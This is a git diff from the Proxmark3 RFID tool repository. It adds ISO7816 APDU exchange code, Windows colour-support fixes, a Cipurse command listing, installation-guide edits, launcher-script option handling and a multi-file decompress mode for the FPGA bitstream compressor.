||||
|
||||
isodep_state_t GetISODEPState(void) {
|
||||
return isodep_state;
|
||||
}
|
||||
|
||||
int Iso7816Connect(Iso7816CommandChannel channel) {
|
||||
if (channel == CC_CONTACT) {
|
||||
return PM3_ENOTIMPL;
|
||||
}
|
||||
// Try to 14a
|
||||
// select with no disconnect and set frameLength
|
||||
int selres = SelectCard14443A_4(false, NULL);
|
||||
if (selres == PM3_SUCCESS) {
|
||||
SetISODEPState(ISODEP_NFCA);
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
PrintAndLogEx(DEBUG, "No 14a tag spotted, trying 14b");
|
||||
// If not 14a, try to 14b
|
||||
selres = select_card_14443b_4(false, NULL);
|
||||
if (selres == PM3_SUCCESS) {
|
||||
SetISODEPState(ISODEP_NFCB);
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
PrintAndLogEx(DEBUG, "No 14b tag spotted, failed to find any tag.");
|
||||
return selres;
|
||||
}
|
||||
|
||||
int Iso7816ExchangeEx(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, sAPDU apdu, bool includeLe, uint16_t Le, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
|
||||
uint8_t data[APDU_RES_LEN] = {0};
|
||||
|
||||
*ResultLen = 0;
|
||||
if (sw) *sw = 0;
|
||||
uint16_t isw = 0;
|
||||
int res = 0;
|
||||
|
||||
if (ActivateField) {
|
||||
DropFieldEx(channel);
|
||||
msleep(50);
|
||||
}
|
||||
|
||||
// COMPUTE APDU
|
||||
int datalen = 0;
|
||||
if (includeLe) {
|
||||
if (Le == 0) {
|
||||
Le = 0x100;
|
||||
}
|
||||
} else {
|
||||
Le = 0;
|
||||
}
|
||||
if (APDUEncodeS(&apdu, false, Le, data, &datalen)) {
|
||||
PrintAndLogEx(ERR, "APDU encoding error.");
|
||||
return 201;
|
||||
}
|
||||
|
||||
if (APDULogging)
|
||||
PrintAndLogEx(SUCCESS, ">>>> %s", sprint_hex(data, datalen));
|
||||
|
||||
switch (channel) {
|
||||
case CC_CONTACTLESS:
|
||||
switch (GetISODEPState()) {
|
||||
case ISODEP_NFCA:
|
||||
res = ExchangeAPDU14a(data, datalen, ActivateField, LeaveFieldON, Result, (int)MaxResultLen, (int *)ResultLen);
|
||||
break;
|
||||
case ISODEP_NFCB:
|
||||
res = exchange_14b_apdu(data, datalen, ActivateField, LeaveFieldON, Result, (int)MaxResultLen, (int *)ResultLen, 4000);
|
||||
break;
|
||||
case ISODEP_INACTIVE:
|
||||
if (! ActivateField) {
|
||||
PrintAndLogEx(FAILED, "Field currently inactive, cannot send an APDU");
|
||||
return PM3_EIO;
|
||||
}
|
||||
res = ExchangeAPDU14a(data, datalen, ActivateField, LeaveFieldON, Result, (int)MaxResultLen, (int *)ResultLen);
|
||||
if (res != PM3_SUCCESS) {
|
||||
res = exchange_14b_apdu(data, datalen, ActivateField, LeaveFieldON, Result, (int)MaxResultLen, (int *)ResultLen, 4000);
|
||||
}
|
||||
break;
|
||||
}
|
||||
if (res != PM3_SUCCESS) {
|
||||
return res;
|
||||
}
|
||||
break;
|
||||
case CC_CONTACT:
|
||||
res = 1;
|
||||
if (IfPm3Smartcard())
|
||||
res = ExchangeAPDUSC(false, data, datalen, ActivateField, LeaveFieldON, Result, (int)MaxResultLen, (int *)ResultLen);
|
||||
|
||||
if (res) {
|
||||
return res;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
if (APDULogging)
|
||||
PrintAndLogEx(SUCCESS, "<<<< %s", sprint_hex(Result, *ResultLen));
|
||||
|
||||
if (*ResultLen < 2) {
|
||||
return 200;
|
||||
}
|
||||
|
||||
*ResultLen -= 2;
|
||||
isw = Result[*ResultLen] * 0x0100 + Result[*ResultLen + 1];
|
||||
if (sw)
|
||||
*sw = isw;
|
||||
|
||||
if (isw != 0x9000) {
|
||||
if (APDULogging) {
|
||||
if (*sw >> 8 == 0x61) {
|
||||
PrintAndLogEx(ERR, "APDU chaining len:%02x -->", *sw & 0xff);
|
||||
} else {
|
||||
PrintAndLogEx(ERR, "APDU(%02x%02x) ERROR: [%4X] %s", apdu.CLA, apdu.INS, isw, GetAPDUCodeDescription(*sw >> 8, *sw & 0xff));
|
||||
return 5;
|
||||
}
|
||||
}
|
||||
}
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
int Iso7816Exchange(Iso7816CommandChannel channel, bool LeaveFieldON, sAPDU apdu, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
|
||||
return Iso7816ExchangeEx(channel, false, LeaveFieldON, apdu, false, 0, Result, MaxResultLen, ResultLen, sw);
|
||||
}
|
||||
|
||||
int Iso7816Select(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t *AID, size_t AIDLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
|
||||
return Iso7816ExchangeEx(channel, ActivateField, LeaveFieldON, (sAPDU) {0x00, 0xa4, 0x04, 0x00, AIDLen, AID}, (channel == CC_CONTACTLESS), 0, Result, MaxResultLen, ResultLen, sw);
|
||||
}
|
49
client/src/iso7816/iso7816core.h
Normal file
49
client/src/iso7816/iso7816core.h
Normal file
|
@ -0,0 +1,49 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Copyright (C) 2017 Merlok
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// ISO7816 core functionality
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#ifndef ISO7816CORE_H__
|
||||
#define ISO7816CORE_H__
|
||||
|
||||
#include "common.h"
|
||||
|
||||
#include <inttypes.h>
|
||||
|
||||
#include "apduinfo.h"
|
||||
|
||||
#define APDU_RES_LEN 260
|
||||
#define APDU_AID_LEN 50
|
||||
|
||||
typedef enum {
|
||||
ISODEP_INACTIVE = 0,
|
||||
ISODEP_NFCA,
|
||||
ISODEP_NFCB,
|
||||
} isodep_state_t;
|
||||
|
||||
typedef enum {
|
||||
CC_CONTACTLESS,
|
||||
CC_CONTACT
|
||||
} Iso7816CommandChannel;
|
||||
|
||||
void SetAPDULogging(bool logging);
|
||||
bool GetAPDULogging(void);
|
||||
|
||||
void SetISODEPState(isodep_state_t state);
|
||||
isodep_state_t GetISODEPState(void);
|
||||
|
||||
// connect
|
||||
int Iso7816Connect(Iso7816CommandChannel channel);
|
||||
|
||||
// exchange
|
||||
int Iso7816Exchange(Iso7816CommandChannel channel, bool LeaveFieldON, sAPDU apdu, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw);
|
||||
int Iso7816ExchangeEx(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, sAPDU apdu, bool IncludeLe, uint16_t Le, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw);
|
||||
|
||||
// search application
|
||||
int Iso7816Select(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t *AID, size_t AIDLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw);
|
||||
#endif
|
|
@ -171,6 +171,30 @@ static void terminate_handler(int signum) {
|
|||
|
||||
#endif
|
||||
|
||||
#if defined(_WIN32)
|
||||
static bool DetectWindowsAnsiSupport(void) {
|
||||
#ifndef ENABLE_VIRTUAL_TERMINAL_PROCESSING
|
||||
#define ENABLE_VIRTUAL_TERMINAL_PROCESSING 0x0004
|
||||
#endif
|
||||
|
||||
// disable colors if stdin or stdout are redirected
|
||||
if ((! session.stdinOnTTY) || (! session.stdoutOnTTY))
|
||||
return false;
|
||||
|
||||
HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
DWORD dwMode = 0;
|
||||
GetConsoleMode(hOut, &dwMode);
|
||||
|
||||
//ENABLE_VIRTUAL_TERMINAL_PROCESSING is already set
|
||||
if ((dwMode & ENABLE_VIRTUAL_TERMINAL_PROCESSING))
|
||||
return true;
|
||||
|
||||
dwMode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING;
|
||||
|
||||
return SetConsoleMode(hOut, dwMode) ? true : false;
|
||||
}
|
||||
#endif //_WIN32
|
||||
|
||||
// first slot is always NULL, indicating absence of script when idx=0
|
||||
static FILE *cmdscriptfile[MAX_NESTED_CMDSCRIPT + 1] = {0};
|
||||
static uint8_t cmdscriptfile_idx = 0;
|
||||
|
@ -360,6 +384,10 @@ check_script:
|
|||
g_pendingPrompt = true;
|
||||
#ifdef HAVE_READLINE
|
||||
script_cmd = readline(prompt_filtered);
|
||||
#if defined(_WIN32)
|
||||
//Check if color support needs to be enabled again in case the window buffer did change
|
||||
session.supports_colors = DetectWindowsAnsiSupport();
|
||||
#endif
|
||||
if (script_cmd != NULL) {
|
||||
execCommand = true;
|
||||
stayInCommandLoop = true;
|
||||
|
@ -705,21 +733,6 @@ finish2:
|
|||
}
|
||||
#endif //LIBPM3
|
||||
|
||||
#if defined(_WIN32)
|
||||
static bool DetectWindowsAnsiSupport(void) {
|
||||
#ifndef ENABLE_VIRTUAL_TERMINAL_PROCESSING
|
||||
#define ENABLE_VIRTUAL_TERMINAL_PROCESSING 0x0004
|
||||
#endif
|
||||
|
||||
HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
DWORD dwMode = 0;
|
||||
GetConsoleMode(hOut, &dwMode);
|
||||
dwMode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING;
|
||||
|
||||
return SetConsoleMode(hOut, dwMode) ? true : false;
|
||||
}
|
||||
#endif //_WIN32
|
||||
|
||||
void pm3_init(void) {
|
||||
srand(time(0));
|
||||
|
||||
|
@ -783,6 +796,9 @@ int main(int argc, char *argv[]) {
|
|||
#if defined(__linux__) || defined(__APPLE__)
|
||||
session.supports_colors = true;
|
||||
session.emoji_mode = EMO_EMOJI;
|
||||
#elif defined(_WIN32)
|
||||
session.supports_colors = DetectWindowsAnsiSupport();
|
||||
session.emoji_mode = EMO_ALTTEXT;
|
||||
#endif
|
||||
}
|
||||
for (int i = 1; i < argc; i++) {
|
||||
|
@ -996,11 +1012,6 @@ int main(int argc, char *argv[]) {
|
|||
session.emoji_mode = EMO_ALTTEXT;
|
||||
}
|
||||
|
||||
#if defined(_WIN32) //Color support on Windows has to be enabled each time and can fail, override prefs
|
||||
session.supports_colors = DetectWindowsAnsiSupport();
|
||||
session.emoji_mode = EMO_ALTTEXT;
|
||||
#endif
|
||||
|
||||
// Let's take a baudrate ok for real UART, USB-CDC & BT don't use that info anyway
|
||||
if (speed == 0)
|
||||
speed = USART_BAUD_RATE;
|
||||
|
|
9185
doc/commands.json
Normal file
9185
doc/commands.json
Normal file
File diff suppressed because it is too large
Load diff
|
@ -234,6 +234,21 @@ Check column "offline" for their availability.
|
|||
|`hf 15 csetuid `|N |`Set UID for magic card`
|
||||
|
||||
|
||||
### hf cipurse
|
||||
|
||||
{ Cipurse transport Cards... }
|
||||
|
||||
|command |offline |description
|
||||
|------- |------- |-----------
|
||||
|`hf cipurse help `|Y |`This help.`
|
||||
|`hf cipurse info `|N |`Info about Cipurse tag.`
|
||||
|`hf cipurse auth `|N |`Authentication.`
|
||||
|`hf cipurse read `|N |`Read binary file.`
|
||||
|`hf cipurse write `|N |`Write binary file.`
|
||||
|`hf cipurse aread `|N |`Read file attributes.`
|
||||
|`hf cipurse delete `|N |`Delete file.`
|
||||
|
||||
|
||||
### hf epa
|
||||
|
||||
{ German Identification Card... }
|
||||
|
|
|
@ -18,11 +18,15 @@ Visual Studio Code still runs under Rosetta 2 and if you're developing for proxm
|
|||
|
||||
## Install Proxmark3 tools
|
||||
|
||||
These instructions comes from @Chrisfu, where we got the proxmark3.rb scriptfile from.
|
||||
For further questions about Mac & Homebrew, contact @Chrisfu (https://github.com/chrisfu/)
|
||||
These instructions comes from \@Chrisfu, where we got the proxmark3.rb scriptfile from.
|
||||
For further questions about Mac & Homebrew, contact [\@Chrisfu on Twitter](https://github.com/chrisfu/)
|
||||
|
||||
0. Install XCode Command Line Tools if you haven't yet already done so: `xcode-select --install`
|
||||
|
||||
1. Install homebrew if you haven't yet already done so: http://brew.sh/
|
||||
|
||||
2. Install xquartz: `brew install xquartz`
|
||||
|
||||
2. Tap this repo: `brew tap RfidResearchGroup/proxmark3`
|
||||
|
||||
3. Install Proxmark3:
|
||||
|
|
|
@ -175,7 +175,7 @@ When ```explorer.exe .``` doesn't work.
|
|||
Trying to access the dump files created in WSL, you will need to run ```explorer.exe .``` but sometimes this doesn't work.
|
||||
[As seen here](https://github.com/microsoft/WSL/issues/4027) they suggest checking the following registry value for *P9NP*
|
||||
|
||||
[<img src="http://www.icedev.se/proxmark3/rdv40/wsl2_p9np.png">](www.icedev.se/proxmark3/rdv40/wsl2_p9np.png)
|
||||
[](/doc/md/Installation_Instructions/wsl2_p9np.png)
|
||||
|
||||
## Troubles with running the Proxmark3 client
|
||||
Some reports has stated that they needed to execute the Proxmark3 as root on their *nix system.
|
||||
|
@ -228,7 +228,9 @@ If you get the message
|
|||
|
||||
```
|
||||
Qt: Session management error: None of the authentication protocols specified are supported
|
||||
``` when running the Proxmark3 client it might be because a a environment variable.
|
||||
```
|
||||
|
||||
when running the Proxmark3 client it might be because a a environment variable.
|
||||
|
||||
Solution:
|
||||
Try running the client without the SESSION_MANAGER environment variable.
|
||||
|
|
|
@ -21,7 +21,7 @@ We have listed three ways to use these two setups (dev environment vs pre-compi
|
|||
|
||||
## Video Installation guide
|
||||
_note: this video is a bit out-of-date but still informative_
|
||||
[](https://youtu.be/zzF0NCMJnYU "Windows Installation Tutorial")
|
||||
[](https://youtu.be/zzF0NCMJnYU "Windows Installation Tutorial")
|
||||
|
||||
## Driver Installation ( Windows 7 )
|
||||
|
||||
|
@ -92,10 +92,10 @@ to be done (tcprst)
|
|||
|
||||
WSL 1 requires to run on Windows 10 version 1709 or above. Previous windows versions didn't have support for COM ports.
|
||||
|
||||
### stay away from WSL 2
|
||||
### Stay away from WSL 2
|
||||
*Microsoft introduced WSL 2 starting on Windows 10 version 2004 with Hyper-V powering its virtualization; As of 2020-08-13, WSL 2 does not support USB and Serial.*
|
||||
|
||||
###
|
||||
### More about WSL
|
||||
Install WSL 1 with e.g. the standard Ubuntu. You can follow the guide on [Microsoft Docs](https://docs.microsoft.com/en-us/windows/wsl/install-win10) but be careful to follow WSL 1 specific instructions! When they recommend you to restart, you must restart.
|
||||
|
||||
For WSL configuration, see [Manage and configure Windows Subsystem for Linux](https://docs.microsoft.com/en-us/windows/wsl/wsl-config).
|
||||
|
@ -107,23 +107,25 @@ Make sure your WSL can launch Windows processes to get the `pm3` scripts working
|
|||
If you want to run the graphical components of the Proxmark3 client, you need to install a X Server such as [VcXsrv](https://sourceforge.net/projects/vcxsrv/) or [Xming](https://sourceforge.net/projects/xming/) and launch it, e.g. by executing XLaunch.
|
||||
|
||||
|
||||
## Window terminal Installation
|
||||
Microsoft has recent released a new terminal for their OS. It is much better experience than old `cmd.exe` so we strongly recommend installing it.
|
||||
It is also open sourced, ref [terminal](https://github.com/microsoft/terminal). You can download and install from here: [windows terminal](https://aka.ms/terminal)
|
||||
## Windows Terminal Installation
|
||||
Microsoft has recently released a new terminal for their OS. It is much better experience than old `cmd.exe` so we strongly recommend installing it.
|
||||
It is also open sourced (see [github.com/microsoft/terminal](https://github.com/microsoft/terminal)). You can download and install from [GitHub](https://github.com/microsoft/terminal/releases/latest) or [Microsoft Store](https://www.microsoft.com/en-us/p/windows-terminal/9n0dx20hk701).
|
||||
|
||||
|
||||
## Dependencies
|
||||
|
||||
Enter WSL prompt (`wsl` or `start windows terminal`) and from there, follow the [Linux Installation Instructions](/doc/md/Installation_Instructions/Linux-Installation-Instructions.md) for Ubuntu, summarized here below:
|
||||
Enter WSL prompt (`wsl` or Start Windows Terminal) and from there, follow the [Linux Installation Instructions](/doc/md/Installation_Instructions/Linux-Installation-Instructions.md) for Ubuntu, summarized here below:
|
||||
|
||||
Make sure your WSL guest OS is up-to-date first:
|
||||
|
||||
Make sure your WSL guest OS is up-to-date first
|
||||
```sh
|
||||
sudo apt-get update
|
||||
sudo apt-get upgrade -y
|
||||
sudo apt-get auto-remove -y
|
||||
```
|
||||
|
||||
Install dependencies
|
||||
Install dependencies:
|
||||
|
||||
```sh
|
||||
sudo apt-get install --no-install-recommends git ca-certificates build-essential pkg-config \
|
||||
libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev qtbase5-dev
|
||||
|
@ -158,13 +160,13 @@ If group ownership is `dialout` and your user is member of `dialout` group, all
|
|||
sudo chmod 666 /dev/ttySX
|
||||
```
|
||||
|
||||
If you installed a X Server and compiled the Proxmark3 with QT4 support, you've to export the `DISPLAY` environment variable:
|
||||
If you installed an X Server and compiled the Proxmark3 with QT5 support, you've to export the `DISPLAY` environment variable:
|
||||
|
||||
```sh
|
||||
export DISPLAY=:0
|
||||
```
|
||||
|
||||
and add it to your Bash profile for the next times:
|
||||
And add it to your Bash (or your preferred shell) profile for the next times:
|
||||
|
||||
```sh
|
||||
echo "export DISPLAY=:0" >> ~/.bashrc
|
||||
|
|
BIN
doc/md/Installation_Instructions/wsl2_p9np.png
Normal file
BIN
doc/md/Installation_Instructions/wsl2_p9np.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 24 KiB |
|
@ -85,13 +85,18 @@ ref : https://github.com/Proxmark/proxmark3/wiki/android
|
|||
Install [Termux](https://play.google.com/store/apps/details?id=com.termux) and start it
|
||||
|
||||
|
||||
### Install Proxmark3 package
|
||||
### Install Proxmark3 package which follows tagged releases
|
||||
^[Top](#top)
|
||||
|
||||
Run the following commands:
|
||||
```
|
||||
pkg install proxmark3
|
||||
```
|
||||
### Install Proxmark3 package which offers a more up to date version from git `master` branch
|
||||
Run the following commands:
|
||||
```
|
||||
pkg install proxmark3-git
|
||||
```
|
||||
### Optional: Building Proxmark3 client from source
|
||||
```
|
||||
pkg install make clang clang++ readline libc++ git
|
||||
|
|
41
pm3
41
pm3
|
@ -257,25 +257,20 @@ Description:
|
|||
* the correct port name will be automatically guessed;
|
||||
* the script will wait for a Proxmark to be connected (same as option -w of the client).
|
||||
You can also specify a first option -n N to access the Nth Proxmark3 connected.
|
||||
Don't use this script if you want to work offline.
|
||||
To see a list of available ports, use --list.
|
||||
|
||||
Usage:
|
||||
$SCRIPT [-n <N>] [-f] [-c <command>]|[-l <lua_script_file>]|[-s <cmd_script_file>] [-i]
|
||||
$SCRIPT [--list] [--help]
|
||||
$SCRIPT [-n <N>] [<any other proxmark3 client option>]
|
||||
$SCRIPT [--list] [-h|--help] [-hh|--helpclient]
|
||||
$SCRIPT [-o|--offline]
|
||||
|
||||
|
||||
Arguments:
|
||||
--help this help
|
||||
-h/--help this help
|
||||
-hh/--helpclient proxmark3 client help (the script will forward these options)
|
||||
--list list all detected com ports
|
||||
-n <N> connect device refered to the N:th number on the --list output
|
||||
-c 'cmd' execute the pm3 cmd in client and exit afterwards
|
||||
-i interactive, stay in client after executing a cmd or script
|
||||
-s 'script' execute a cmd script file and exit afterwards
|
||||
-l 'luascript' execute a lua script file and exit afterwards
|
||||
-w wait
|
||||
-p <port> specifiy which port to connect to
|
||||
|
||||
-n <N> connect device referred to the N:th number on the --list output
|
||||
-o/--offline shortcut to use directly the proxmark3 client without guessing ports
|
||||
|
||||
Samples:
|
||||
./$SCRIPT -- Auto detect/ select com port in the following order BT, USB/CDC, BT DONGLE
|
||||
|
@ -388,13 +383,31 @@ else
|
|||
echo >&2 "[!!] Script ran under unknown name, abort: $SCRIPT"
|
||||
exit 1
|
||||
fi
|
||||
if [ "$1" == "-h" ] || [ "$1" == "--help" ]; then
|
||||
|
||||
# priority to the help options
|
||||
for ARG; do
|
||||
if [ "$ARG" == "-h" ] || [ "$ARG" == "--help" ]; then
|
||||
HELP
|
||||
exit 0
|
||||
fi
|
||||
if [ "$ARG" == "-hh" ] || [ "$ARG" == "--helpclient" ]; then
|
||||
CMD "-h"
|
||||
exit 0
|
||||
fi
|
||||
done
|
||||
|
||||
# if offline, bypass the script and forward all other args
|
||||
for ARG; do
|
||||
shift
|
||||
if [ "$ARG" == "-o" ] || [ "$ARG" == "--offline" ]; then
|
||||
CMD "$@"
|
||||
exit $?
|
||||
fi
|
||||
set -- "$@" "$ARG"
|
||||
done
|
||||
|
||||
# if a port is already provided, let's just run the command as such
|
||||
for ARG in "$@"; do
|
||||
for ARG; do
|
||||
if [ "$ARG" == "-p" ]; then
|
||||
CMD "$@"
|
||||
exit $?
|
||||
|
|
|
@ -26,8 +26,8 @@ static void usage(void) {
|
|||
fprintf(stdout, " Combine n FPGA bitstream files and compress them into one.\n\n");
|
||||
fprintf(stdout, " fpga_compress -v <infile1> <infile2> ... <infile_n> <outfile>\n");
|
||||
fprintf(stdout, " Extract Version Information from FPGA bitstream files and write it to <outfile>\n\n");
|
||||
fprintf(stdout, " fpga_compress -d <infile> <outfile>\n");
|
||||
fprintf(stdout, " Decompress <infile>. Write result to <outfile>\n\n");
|
||||
fprintf(stdout, " fpga_compress -d <infile> <outfile(s)>\n");
|
||||
fprintf(stdout, " Decompress <infile>. Write result to <outfile(s)>\n\n");
|
||||
}
|
||||
|
||||
static bool all_feof(FILE *infile[], uint8_t num_infiles) {
|
||||
|
@ -51,7 +51,7 @@ static int zlib_compress(FILE *infile[], uint8_t num_infiles, FILE *outfile) {
|
|||
uint32_t total_size = 0;
|
||||
do {
|
||||
|
||||
if (total_size >= num_infiles * FPGA_CONFIG_SIZE) {
|
||||
if (total_size > num_infiles * FPGA_CONFIG_SIZE) {
|
||||
fprintf(stderr,
|
||||
"Input files too big (total > %li bytes). These are probably not PM3 FPGA config files.\n"
|
||||
, num_infiles * FPGA_CONFIG_SIZE
|
||||
|
@ -140,8 +140,13 @@ typedef struct lz4_stream_s {
|
|||
int avail_in;
|
||||
} lz4_stream;
|
||||
|
||||
static int zlib_decompress(FILE *infile, FILE *outfile) {
|
||||
|
||||
// Call it either with opened infile + outsize=0
|
||||
// or with opened infile, opened outfiles, num_outfiles and valid outsize
|
||||
static int zlib_decompress(FILE *infile, FILE *outfiles[], uint8_t num_outfiles, long *outsize) {
|
||||
if (num_outfiles > 10) {
|
||||
return (EXIT_FAILURE);
|
||||
}
|
||||
LZ4_streamDecode_t lz4StreamDecode_body = {{ 0 }};
|
||||
char outbuf[FPGA_RING_BUFFER_BYTES];
|
||||
|
||||
|
@ -151,17 +156,29 @@ static int zlib_decompress(FILE *infile, FILE *outfile) {
|
|||
|
||||
if (infile_size <= 0) {
|
||||
printf("error, when getting filesize");
|
||||
fclose(outfile);
|
||||
if (*outsize > 0) {
|
||||
fclose(infile);
|
||||
for (uint16_t j = 0; j < num_outfiles; j++) {
|
||||
fclose(outfiles[j]);
|
||||
}
|
||||
}
|
||||
return (EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char *outbufall = NULL;
|
||||
if (*outsize > 0) {
|
||||
outbufall = calloc(*outsize, sizeof(char));
|
||||
}
|
||||
char *inbuf = calloc(infile_size, sizeof(char));
|
||||
size_t num_read = fread(inbuf, sizeof(char), infile_size, infile);
|
||||
|
||||
if (num_read != infile_size) {
|
||||
fclose(outfile);
|
||||
if (*outsize > 0) {
|
||||
fclose(infile);
|
||||
for (uint16_t j = 0; j < num_outfiles; j++) {
|
||||
fclose(outfiles[j]);
|
||||
}
|
||||
}
|
||||
free(inbuf);
|
||||
return (EXIT_FAILURE);
|
||||
}
|
||||
|
@ -172,7 +189,7 @@ static int zlib_decompress(FILE *infile, FILE *outfile) {
|
|||
compressed_fpga_stream.next_in = inbuf;
|
||||
compressed_fpga_stream.avail_in = infile_size;
|
||||
|
||||
int total_size = 0;
|
||||
long total_size = 0;
|
||||
while (compressed_fpga_stream.avail_in > 0) {
|
||||
int cmp_bytes;
|
||||
memcpy(&cmp_bytes, compressed_fpga_stream.next_in, sizeof(int));
|
||||
|
@ -182,14 +199,54 @@ static int zlib_decompress(FILE *infile, FILE *outfile) {
|
|||
if (decBytes <= 0) {
|
||||
break;
|
||||
}
|
||||
fwrite(outbuf, decBytes, sizeof(char), outfile);
|
||||
if (outbufall != NULL) {
|
||||
memcpy(outbufall + total_size, outbuf, decBytes);
|
||||
}
|
||||
total_size += decBytes;
|
||||
compressed_fpga_stream.next_in += cmp_bytes;
|
||||
}
|
||||
printf("uncompressed %li input bytes to %i output bytes\n", infile_size, total_size);
|
||||
fclose(outfile);
|
||||
if (outbufall == NULL) {
|
||||
*outsize = total_size;
|
||||
fseek(infile, 0L, SEEK_SET);
|
||||
return EXIT_SUCCESS;
|
||||
} else {
|
||||
fclose(infile);
|
||||
free(inbuf);
|
||||
// seeking for trailing zeroes
|
||||
long offset = 0;
|
||||
long outfilesizes[10] = {0};
|
||||
for (uint16_t k = 0; k < *outsize / (FPGA_INTERLEAVE_SIZE * num_outfiles); k++) {
|
||||
for (uint16_t j = 0; j < num_outfiles; j++) {
|
||||
for (long i = 0; i < FPGA_INTERLEAVE_SIZE; i++) {
|
||||
if (outbufall[offset + i]) {
|
||||
outfilesizes[j] = (k * FPGA_INTERLEAVE_SIZE) + i + 1;
|
||||
}
|
||||
}
|
||||
offset += FPGA_INTERLEAVE_SIZE;
|
||||
}
|
||||
}
|
||||
total_size = 0;
|
||||
// FPGA bit file ends with 16 zeroes
|
||||
for (uint16_t j = 0; j < num_outfiles; j++) {
|
||||
outfilesizes[j] += 16;
|
||||
total_size += outfilesizes[j];
|
||||
}
|
||||
offset = 0;
|
||||
for (uint16_t k = 0; k < *outsize / (FPGA_INTERLEAVE_SIZE * num_outfiles); k++) {
|
||||
for (uint16_t j = 0; j < num_outfiles; j++) {
|
||||
if (k * FPGA_INTERLEAVE_SIZE < outfilesizes[j]) {
|
||||
uint16_t chunk = outfilesizes[j] - (k * FPGA_INTERLEAVE_SIZE) < FPGA_INTERLEAVE_SIZE ? outfilesizes[j] - (k * FPGA_INTERLEAVE_SIZE) : FPGA_INTERLEAVE_SIZE;
|
||||
fwrite(outbufall + offset, chunk, sizeof(char), outfiles[j]);
|
||||
}
|
||||
offset += FPGA_INTERLEAVE_SIZE;
|
||||
}
|
||||
}
|
||||
printf("uncompressed %li input bytes to %li output bytes\n", infile_size, total_size);
|
||||
}
|
||||
if (*outsize > 0) {
|
||||
for (uint16_t j = 0; j < num_outfiles; j++) {
|
||||
fclose(outfiles[j]);
|
||||
}
|
||||
}
|
||||
return (EXIT_SUCCESS);
|
||||
}
|
||||
|
||||
|
@ -362,29 +419,42 @@ int main(int argc, char **argv) {
|
|||
|
||||
if (!strcmp(argv[1], "-d")) { // Decompress
|
||||
|
||||
FILE **infiles = calloc(1, sizeof(FILE *));
|
||||
if (argc != 4) {
|
||||
if (argc < 4) {
|
||||
usage();
|
||||
free(infiles);
|
||||
return (EXIT_FAILURE);
|
||||
}
|
||||
infiles[0] = fopen(argv[2], "rb");
|
||||
if (infiles[0] == NULL) {
|
||||
int num_output_files = argc - 3;
|
||||
FILE **outfiles = calloc(num_output_files, sizeof(FILE *));
|
||||
char **outfile_names = calloc(num_output_files, sizeof(char *));
|
||||
for (uint16_t i = 0; i < num_output_files; i++) {
|
||||
outfile_names[i] = argv[i + 3];
|
||||
outfiles[i] = fopen(outfile_names[i], "wb");
|
||||
if (outfiles[i] == NULL) {
|
||||
fprintf(stderr, "Error. Cannot open output file %s\n\n", outfile_names[i]);
|
||||
free(outfile_names);
|
||||
free(outfiles);
|
||||
return (EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
FILE *infile = fopen(argv[2], "rb");
|
||||
if (infile == NULL) {
|
||||
fprintf(stderr, "Error. Cannot open input file %s\n\n", argv[2]);
|
||||
free(infiles);
|
||||
return (EXIT_FAILURE);
|
||||
}
|
||||
FILE *outfile = fopen(argv[3], "wb");
|
||||
if (outfile == NULL) {
|
||||
fprintf(stderr, "Error. Cannot open output file %s\n\n", argv[3]);
|
||||
free(infiles);
|
||||
free(outfile_names);
|
||||
free(outfiles);
|
||||
return (EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int ret = zlib_decompress(infiles[0], outfile);
|
||||
free(infiles);
|
||||
long outsize = 0;
|
||||
int ret = 0;
|
||||
// First call to estimate output size
|
||||
ret = zlib_decompress(infile, outfiles, num_output_files, &outsize);
|
||||
if (ret == EXIT_SUCCESS) {
|
||||
// Second call to create files
|
||||
ret = zlib_decompress(infile, outfiles, num_output_files, &outsize);
|
||||
}
|
||||
free(outfile_names);
|
||||
free(outfiles);
|
||||
return (ret);
|
||||
|
||||
} else { // Compress or generate version info
|
||||
|
||||
bool generate_version_file = false;
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue